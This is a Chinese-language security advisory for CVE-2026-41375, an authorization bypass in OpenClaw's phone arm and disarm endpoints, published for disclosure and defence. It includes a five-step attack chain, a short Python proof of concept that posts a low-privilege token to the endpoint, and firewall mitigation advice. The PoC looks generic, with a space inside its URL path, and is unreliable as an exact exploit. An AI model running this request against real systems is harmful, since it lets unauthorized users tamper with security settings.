IPBUF安全漏洞报告
English
CVE-2026-41375 CVSS 6.5 中危

CVE-2026-41375 OpenClaw授权绕过漏洞(布防/撤防)

披露日期: 2026-04-28

漏洞信息

漏洞编号
CVE-2026-41375
漏洞类型
权限绕过
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

权限绕过OpenClaw授权缺失CVE-2026-41375逻辑漏洞

漏洞概述

OpenClaw软件在2026.3.28之前的版本中存在严重的授权绕过漏洞。该漏洞主要影响/phone arm和/phone disarm这两个关键端点,原因是系统未能对外部通道正确执行operator.admin级别的权限范围检查。攻击者无需具备管理员特权,即可利用此缺陷绕过身份验证机制,非法控制电话通道的布防与撤防状态,从而对系统的完整性造成严重影响。

技术细节

该漏洞的核心成因在于OpenClaw后端代码对特定API端点访问控制的逻辑缺陷。在处理针对/phone arm(布防)和/phone disarm(撤防)端点的请求时,应用程序未对请求者是否拥有operator.admin权限进行严格验证,特别是针对外部通道的操作。正常情况下,操作电话通道的安全状态应仅限于具有管理权限的用户,但受影响版本仅依赖低级别的身份验证或存在逻辑错误,导致普通用户(或低权限账户)可以通过构造特定的HTTP请求直接调用这些接口。由于攻击向量为网络(AV:N),且无需用户交互(UI:N),远程攻击者一旦获得低权限账户(PR:L),即可发送恶意请求修改系统状态。虽然不影响机密性和可用性,但完整性(I:H)受到了直接破坏,可能导致安全防御体系失效。

攻击链分析

STEP 1
侦察
攻击者识别出目标系统运行的是OpenClaw,且版本低于2026.3.28。
STEP 2
获取低权限凭证
攻击者通过注册或社工手段获取一个普通的低权限用户账户(满足PR:L要求)。
STEP 3
发送恶意请求
攻击者使用低权限账户的Token,直接向/phone arm或/phone disarm端点发送POST请求,尝试修改电话通道状态。
STEP 4
权限绕过
由于后端未校验operator.admin scope,请求被接受,系统执行布防或撤防操作。
STEP 5
达成影响
攻击者成功篡改了系统安全配置,破坏了系统的完整性(I:H)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://vulnerable-host:8080" low_privilege_token = "<attacker_low_priv_token>" # Headers mimicking a legitimate low-privilege user request headers = { "Authorization": f"Bearer {low_privilege_token}", "Content-Type": "application/json", "User-Agent": "PoC-Client/1.0" } # The vulnerable endpoint for phone arm # Exploit: Sending a request to arm the channel without 'operator.admin' scope arm_endpoint = f"{target_url}/phone arm" payload = { "channel": "external", "action": "arm" } try: print(f"[*] Attempting to bypass auth on {arm_endpoint}...") response = requests.post(arm_endpoint, json=payload, headers=headers, timeout=5) if response.status_code == 200: print("[+] Exploit successful! Phone channel armed without admin privileges.") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}")

影响范围

OpenClaw < 2026.3.28

防御指南

临时缓解措施
在完成版本升级前,建议在防火墙或WAF层面限制对/phone arm和/phone disarm路径的访问,仅允许内部管理IP调用。同时,应加强对所有用户权限的审计,临时移除非必要用户的操作权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表